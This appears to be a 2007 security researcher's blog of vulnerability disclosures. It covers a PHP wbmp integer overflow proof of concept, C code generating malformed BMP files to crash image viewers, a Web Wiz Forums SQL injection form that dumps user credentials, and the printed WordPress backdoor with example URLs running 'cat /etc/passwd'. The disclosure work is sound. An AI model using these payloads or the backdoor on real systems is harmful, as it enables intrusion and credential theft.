Saturday, April 7, 2007

PHP <= 5.2.1 wbmp file handling integer overflow

There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the function readwbmp. If large enough values are specified for wbmp image height and/or width, so that width*height > 2^32, an integer overflow occurs on the following line

if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height, sizeof(int), 0)) == NULL)

causing the amount of memory allocated to be smaller than the amount of data to be read, subsequently causing buffer overflow (See the DoS PoC below).

Upon discovery, I first thought this to be a LibGD issue, however the file wbmp.c is changed in LibGD (as early as in version 2.0.33 released in 2004) and does not have this overflow.

As the only values written in memory upon exploiting this can be (int)0 and (int)1, exploiting this for anything other then DoS seems highly unlikely.

Timeline

Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory

Note: I was going to wait until the release of PHP 5.2.2 before publishing this, but seeing FrSIRT (and possibly others) already pubished it I am pushing the release forward a bit.

References

http://www.php.net/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001
http://www.frsirt.com/english/advisories/2007/1269

PoC

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
int c;
char buf[BUFSIZE];

FILE *fp = fopen("test.wbmp","w");

//write header
c = 0;
fputc(c,fp);
fputc(c,fp);

//write width = 2^32 / 4 + 1
c = 0x84;
fputc(c,fp);
c = 0x80;
fputc(c,fp);
fputc(c,fp);
fputc(c,fp);
c = 0x01;
fputc(c,fp);

//write height = 4
c = 0x04;
fputc(c,fp);

//write some data to cause overflow
fwrite(buf,sizeof(buf),1,fp);

fclose(fp);
}


<?php
$image = imagecreatefromwbmp('test.wbmp'); //overflow occurs
?>?

Wednesday, April 4, 2007

Several Windows image viewers vulnerabilities


Table of contents

1. Introduction
2. Description of experiments
3. Image viewers
4. Experimental results
5. Concluding remarks

Appendix I - Timeline
Appendix II - A possible Win XP SP1 vulnerability
Appendix III - Source code


1. Introduction

The purpose of this post is to present a small research covering security of several popular Windows image viewers. Although, when discussing security of image viewing software, web browsers are usually implied, since they will be on the 'front lines' in the unsafe environment such as the Internet, there are cases in which you may open potentially dangerous image file with your favorite image viewer. Some examples are:

- If you click on the attachment in your email application
- If you click on a file in an archive (such as zip or rar) you downloaded or got by email
- If you open a file on a network shared folder
- If you download the file using p2p programs such as BitTorrent and eMule


2. Description of experiments

The experiments were conducted as follows: Several errornous windows bitmap (.bmp) files were specially crafted to cause buffer overflows in certain cases, if such cases are not handled properly by the opening application. Each of these images was opend with all of the viewers included in this research and unexpected viewer behavior was noted. Here is the list of images used with their short descriptions.

paletteof1.bmp
This file defines a colormap larger than 256 entries (max allowed)

paletteof2.bmp
Similar to paletteof1.bmp, except the colormap is even larger

rle8of1.bmp
Uses run-length encoded blocks that extend beyond the image dimensions

rle8of2.bmp
Similar to rle8of1 except errornous RLE blocks start with a different offset

rle8of3.bmp
Uses xoffset and yoffset command in RLE encoded bmp in order to escape past image boundaries, then uses non-RLE encoded blocks to write data

rle8of4.bmp
similar to rle8of4.bmp except it doesn't use xoffset and yoffset, but still specififies enough non-RLE encoded blocks to escape image boundaries

wh3intof.bmp
Image dimensions are set so that width*height*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided

wh4intof.bmp
Image dimensions are set so that width*height*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided

w3intof.bmp
Image dimensions are set so that width*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided

w4intof.bmp
Image dimensions are set so that width*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided

The code used to generate all of the above images is provided in Appendix III, so you can use it to test your favorite image viewer if it was not included here.


3. Image viewers

Several popular image viewers were selected for this test. The most recent version of these viewers at the time of testing was used. The viewers are

ACDSee 9.0 Photo Manager
IrfranView 3.99
FastStone Image Viewer 2.9


4. Experimental results

Test system: Windows XP SP2 on Mobile AMD Sempron 3000+, 512MB RAM

ACDSee 9.0 Photo Manager

w4intof.bmp - Application closes

ACDSee 9.0 Quick View

w3intof.bmp - Microsoft Visual C++ Runtime Library: Runtime Error
w4intof.bmp - Application crashes, Exception code 0xc0000005 (access violation)

IrfranView 3.99

rle8of3.bmp - Application crashes, Exception code 0xc0000005 (access violation)
rle8of4.bmp - Application crashes, The memory could not be "written" Application error

FastStone Image Viewer 2.9

wh3intof.bmp - Application window closes, however application keeps running in the background consuming 100% of CPU resource
wh4intof.bmp - Application closes


5. Concluding remarks

All of the applications tested showed some sort of unpredicted behavior on some of the images, demonstrating the need to further enhance the security of products of this type. Accessing memory locations outside the allowed space, possible in some applications as demonstrated above, is especially dangerous since it has a potential for being exploited by a malicious hacker to execute arbitrary code on the unsuspecting user's computer. Other vulnerabilities should also not be disregarded since they could, in theory at least, be used in Dos attacks.
Since no actual code execution was analysed in detail, it is impossible to say from the above just what consequences could any of the above have. I leave this analysis to the vendors of applications tested.
Note that this small research only covers bmp images, so that the presence of various other vulnerabilities is also possible (if not probable) in the code used to handle decoding of images in other formats.
All in all, best be carefull next time you click on that image of Britney Spears' shaved ... head :-)


Appendix I - Timeline

Feb 15 2007 - Experiments made
Feb 18 2007 - 1st attempt to contact vendors
Feb 19 2007 - IrfranView programmer responded, said the code would be fixed in the upcoming version, due out soon
Feb 21 2007 - 2nd attempt to contact remaining vendors
Feb 23 2007 - Got response from ACD System support saying that they forwarded the information to the Quality Assurance and that they would contact me when they hear back from them. Never heard from them after that.
Apr 04 2007 - Release of this report

Note: It is possible that some of the bugs mentioned here were fixed quietly. I didn't check.


Appendix II - A possible Win XP SP1 vulnerability

On an old machine running Windows XP SP1 I encountered unusual behavior with one of my test images. When clicking on the w4intof.bmp in Windows Explorer (with the file details pane on the left of the window turned on) or viewing files as thumbnails in the containing folder, the Explorer crashes and Windows reports the exception code 0xc0000005, indicating a possible overflow. It is possible that Windows Explorer in SP1 too suffers from this kind of vulnerability. However I only had that one machine with SP1 installed and on the machines with other windows versions (such as XP SP2) I didn't encounter any unusual behavior. I wrote to Microsoft about this promply after discovery. They responded that they no longer support XP SP1 and this is not something they would investigate for for an out-of-support product.


Appendix III - Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


struct BITMAPFILEHEADER {
unsigned int bfSize;
unsigned int bfReserved;
unsigned int bfOffBits;
};

struct BITMAPINFOHEADER {
unsigned int biSize;
unsigned int biWidth;
unsigned int biHeight;
unsigned short biPlanes;
unsigned short biBitCount;
unsigned int biCompression;
unsigned int biSizeImage;
unsigned int biXPelsPerMeter;
unsigned int biYPelsPerMeter;
unsigned int biClrUsed;
unsigned int biClrImportant;
};

void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {
BITMAPFILEHEADER fileheader;
BITMAPINFOHEADER infoheader;

memset(&fileheader,0,sizeof(BITMAPFILEHEADER));
memset(&infoheader,0,sizeof(BITMAPINFOHEADER));

unsigned char sig[2];
sig[0] = 'B';
sig[1] = 'M';

fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;
fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;

infoheader.biSize = 40;
infoheader.biWidth = width;
infoheader.biHeight = height;
infoheader.biPlanes = 1;
infoheader.biBitCount = bpp;
infoheader.biCompression = compression;
infoheader.biClrUsed = numpalettecolors;

FILE *fp = fopen(filename,"wb");
fwrite(&sig,sizeof(sig),1,fp);
fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);
fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);
if(palette) fwrite(palette,numpalettecolors*4,1,fp);
fwrite(data,numdatabytes,1,fp);
fclose(fp);
}

int main() {
unsigned char * buf;
buf = (unsigned char *)malloc(4000000);
memset(buf,0,4000000);
unsigned char * buf2;
buf2 = (unsigned char *)malloc(4000000);
memset(buf2,0,4000000);

//overflows specifying too large palette
writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16);
writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16);
writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16);

//integer overflows with image dimensions
writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4);
writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000);
writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000);
writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000);
writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000);

//overflows with RLE encoded BMPs
buf2[0]=16;
buf2[1]=0;
writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2);
for(long i=0;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000);
buf2[0]=15;
buf2[1]=0;
for(long i=1;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
buf2[0]=0;
buf2[1]=2;
buf2[2]=255;
buf2[3]=0;
for(long i=4;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
for(long i=0;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000);
}

Tuesday, March 20, 2007

Web Wiz Forums 8.05 (MySQL version) SQL Injection

There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries:

'Format SQL Query funtion
Private Function formatSQLInput(ByVal strInputEntry)
'Remove malisous charcters from sql
strInputEntry = Replace(strInputEntry, "\'", "&#092;'", 1, -1, 1)
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "[", "&#091;", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "]", "&#093;", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "<", "&lt;", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ">", "&gt;", 1, -1, 1)
'Return
formatSQLInput = strInputEntry
End Function


Assume the user enters a string containing the following sequence of characters: \"' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like \'' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it.

Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character.

Below I include a small exploit that demonstrates this vulnerability.

Mar 19th 2007: Vulnerability discovered
Mar 20th 2007: Vendor contacted
Mar 20th 2007: Vendor responded
Mar 20th 2007: Vendor released fixed version (8.05a)

<form method="post" action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value="\&quot;&#039; union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*" >
<input type="submit" value="Go">
</form>

Saturday, March 3, 2007

WordPress source code compromised to enable remote code execution

While assessing the security of WordPress, a popular blog creation software, I have discovered that it's source code has recently been compromised by a third party in order to enable remote command execution on the machines running affected versions. The compromised files are wp-includes/feed.php and wp-includes/theme.php.
The following code has been added:

in wp-includes/feed.php

function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }


in wp-includes/theme.php

function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }



this would enable remote command execution on machines running compromised versions, for example

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd


I have discovered this vulnerability on Friday, March 2nd 2007 and contacted WordPress about it straight away. They reacted promptly by disabling downloads until further investigation. Later they determined that ony one of two servers has been compromised and that the two files mentioned above are the only ones changed.

It seems that the above files were changed on Feb 25th, 2007, so if you downloaded WordPress between Feb 25th, 2007 and Mar 2nd 2007 it is possible that you are running a compromised version, so be sure to check for the above code.

About Wordpress
"WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time."

Thanks to Ryan Boren of WordPress for quick response and his feedback regarding this issue.